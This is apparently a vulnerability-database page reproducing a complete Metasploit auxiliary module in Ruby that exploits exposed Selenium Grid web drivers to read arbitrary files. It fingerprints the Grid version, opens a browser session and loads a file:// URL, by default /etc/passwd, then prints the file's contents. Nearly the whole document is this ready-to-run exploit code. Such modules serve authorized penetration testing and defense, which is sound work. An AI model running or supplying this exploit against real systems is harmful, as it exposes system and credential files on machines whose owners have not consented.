Lucene search
K

Selenium arbitrary file read

🗓️ 08 Jan 2025 18:55:40Reported by Jon Stratton, Takahiro YokoyamaType 
metasploit
 metasploit
🔗 www.rapid7.com👁 307 Views

Remote attackers can exploit Selenium web drivers to access victims' file systems.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Selenium arbitrary file read',
        'Description' => %q{
          If there is an open selenium web driver, a remote attacker can send requests to the victims browser.
          In certain cases this can be used to access to the remote file system.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Jon Stratton',     # Original Metasploit module
          'Takahiro Yokoyama' # Metasploit module
        ],
        'References' => [
          [ 'URL', 'https://github.com/JonStratton/selenium-node-takeover-kit' ]
        ],
        'Platform' => 'misc',
        'Targets' => [
          [
            'Native Payload', {
              'Platform' => %w[linux osx win unix],
              'Arch' => ARCH_ALL
            }
          ]
        ],
        'DisclosureDate' => '2020-10-01', # Not sure this is correct
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ IOC_IN_LOGS, ],
          'Reliability' => []
        }
      )
    )

    register_options(
      [
        Opt::RPORT(4444),
        OptString.new('SCHEME', [true, 'The scheme to use', 'file']),
        OptString.new('FILEPATH', [true, 'File to read', '/etc/passwd']),
        OptEnum.new('BROWSER', [true, 'The browser to use', 'firefox', ['firefox', 'chrome', 'MicrosoftEdge']]),
        OptInt.new('TIMEOUT', [ true, 'Timeout for exploit (seconds)', 75 ]),
      ]
    )
  end

  def check
    # Request for Selenium Grid version 4
    v4res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'status')
    })
    if v4res && v4res.get_json_document && v4res.get_json_document.include?('value') &&
       v4res.get_json_document['value'].include?('message')
      if v4res.get_json_document['value']['message'] == 'Selenium Grid ready.'
        return Exploit::CheckCode::Detected('Selenium Grid version 4.x detected and ready.')
      elsif v4res.get_json_document['value']['message'].downcase.include?('selenium grid')
        return Exploit::CheckCode::Unknown('Selenium Grid version 4.x detected but not ready.')
      end
    end

    # Request for Selenium Grid version 3
    v3res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    })
    return Exploit::CheckCode::Unknown('Unexpected server reply.') unless v3res&.code == 200

    js_code = v3res.get_html_document.css('script').find { |script| script.text.match(/var json = Object.freeze\('(.*?)'\);/) }
    return Exploit::CheckCode::Unknown('Unable to determine the version.') unless js_code

    json_str = js_code.text.match(/var json = Object.freeze\('(.*?)'\);/)[1]
    begin
      json_data = JSON.parse(json_str)
    rescue JSON::ParserError
      return Exploit::CheckCode::Unknown('Unable to determine the version.')
    end
    return Exploit::CheckCode::Unknown('Unable to determine the version.') unless json_data && json_data.include?('version') && json_data['version']

    # Extract the version
    version = Rex::Version.new(json_data['version'])
    @version3 = version < Rex::Version.new('4.0.0')

    Exploit::CheckCode::Appears("Version #{version} detected")
  end

  def run
    case datastore['BROWSER']
    when 'firefox'
      options = 'moz:firefoxOptions'
    when 'chrome'
      options = 'goog:chromeOptions'
    when 'MicrosoftEdge'
      options = 'ms:edgeOptions'
    end
    # Start session. driver = Selenium::WebDriver.for :remote, :url => url, :desired_capabilities => { :browserName => browser }
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'wd/hub/session'),
      'ctype' => 'application/json; charset=utf-8',
      'data' => JSON.generate({
        desiredCapabilities: { browserName: datastore['BROWSER'] },
        capabilities: {
          firstMatch: [
            {
              browserName: datastore['BROWSER'],
              "#{options}": {}
            }
          ]
        }
      })
    }, datastore['TIMEOUT'])
    fail_with(Failure::Unknown, 'Unexpected server reply.') unless res

    session_id = res.get_json_document['value']['sessionId'] || res.get_json_document['sessionId']
    fail_with(Failure::Unknown, 'Failed to start session.') unless session_id

    print_status("Started session (#{session_id}).")

    # driver.get('file://%s' % [FILEPATH])
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, "wd/hub/session/#{session_id}/url"),
      'ctype' => 'application/json; charset=utf-8',
      'data' => JSON.generate({ url: "#{datastore['SCHEME']}://#{datastore['FILEPATH']}" })
    })
    fail_with(Failure::Unknown, "Failed to execute driver.get('#{datastore['SCHEME']}://#{datastore['FILEPATH']}').") unless res

    # driver.page_source
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, "wd/hub/session/#{session_id}/source"),
      'ctype' => 'application/json; charset=utf-8'
    })
    fail_with(Failure::Unknown, "Failed to read file: #{datastore['FILEPATH']}.") unless res

    print_good("#{datastore['FILEPATH']}\n#{Nokogiri::HTML(res.get_json_document['value'])&.at('pre')&.text}")

    # End session
    # This may take some time (about 5 minutes or so), so no timeout is set here.
    res = send_request_cgi({
      'method' => 'DELETE',
      'uri' => normalize_uri(target_uri.path, @version3 ? "wd/hub/session/#{session_id}" : "session/#{session_id}"),
      'headers' => { 'Content-Type' => 'application/json; charset=utf-8' }
    })
    if res
      print_status("Deleted session (#{session_id}).")
    else
      print_status("Failed to delete the session (#{session_id}). "\
                   'You may need to wait for the session to expire (default: 5 minutes) or '\
                   'manually delete the session for the next exploit to succeed.')
    end
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation